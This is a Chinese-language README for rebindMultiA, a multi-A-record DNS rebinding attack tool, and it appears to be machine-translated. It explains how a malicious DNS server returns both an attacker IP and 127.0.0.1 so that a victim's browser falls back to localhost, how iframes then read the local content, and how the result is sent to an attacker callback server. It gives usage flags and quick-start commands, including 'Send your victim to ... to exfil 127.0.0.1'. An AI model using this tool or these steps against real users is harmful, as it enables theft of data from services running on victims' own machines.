rebindMultiA是执行多 A 记录重新绑定攻击的工具。
rebindmultia.com是我为协助这些攻击而设置的域。它使每个 IP 成为该域的自己的权威名称服务器[IP].ns.rebindmultia.com。例如,13.33.33.37.ns.rebindmultia.com的权威名称服务器13.33.33.37.ip.rebindmultia.com解析(如您可能已经猜到的那样)为13.33.33.37.
多次 A 记录重新绑定攻击
MultiA Record Rebind 攻击是 DNS Rebinding 的一种变体,它利用攻击者使用两个 IP 地址响应 DNS 请求的能力,以及浏览器在第一个不响应时回退到 DNS 响应中的第二个 IP 的倾向. 在这次攻击中,攻击者会配置一个恶意的DNS服务器和两个恶意的HTTP服务器。DNS 服务器将响应两个 A 记录:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1然后,受害者浏览器将连接到第一个 IP,并开始与攻击者的第一个恶意 HTTP 服务器进行交互。该服务器将响应一个包含两个 iframe 的页面,一个到/steal,一个到/rebind。iframe/steal将加载恶意页面以进入第二个 iframe 并获取内容。端点/rebind在命中时将发出 302 重定向/并杀死第一个恶意 HTTP 服务器。结果,当浏览器返回到攻击者的 HTTP 服务器时,它将遇到一个关闭的端口。因此,它将回退到第二个 IP. 一旦目标内容加载到第二个 iframe 中,第一个 iframe 就可以进入其中,窃取数据,并将其泄露到攻击者的第二个恶意 HTTP 服务器——回调服务器。
此攻击仅适用于Windows环境。 Linux和Mac会默认优先使用私有IP,永远不会查询到攻击者的服务器。
图文+讲解
- 浏览器解析主机
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com。 - DNS服务器(包含在
server.py)解析请求的dns名称,返回两条A记录:13.33.33.37和127.0.0.1。 - 受害者的浏览器连接到攻击者的恶意 HTTP 服务器(包含在 中
server.py)并加载/parent具有两个 iframe 的页面。 - 受害者的浏览器
/steal从攻击者的恶意 HTTP 服务器加载。 - 受害者的浏览器加载
/rebind导致 302 重定向到/(HTTP 服务器将在此请求后退出)。 - 受害者的浏览器重定向到
/攻击302者的服务器。 - 受害者的浏览器尝试从攻击者的(现已失效)HTTP 服务器加载
/,但未能成功。 - 然后浏览器转移到DNS 缓存中的第二个
127.0.0.1IP,并将主机名解析为. 然后它会连接到该服务器并加载 iframe 中的页面。 - 攻击者的
stealiframe 进入新加载的第二个 iframe 并获取内容。 - 攻击者的
stealiframe 然后将结果发送回攻击者的回调服务器。
用法
pip3 install -r requirements.txt
python3 server.py --helpusage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /如果您收到此错误:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'然后你需要使用更新版本的 Python。Python 3.7+。
快速开始
这必须从可公开访问的 IP 执行。
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py





评论 (0)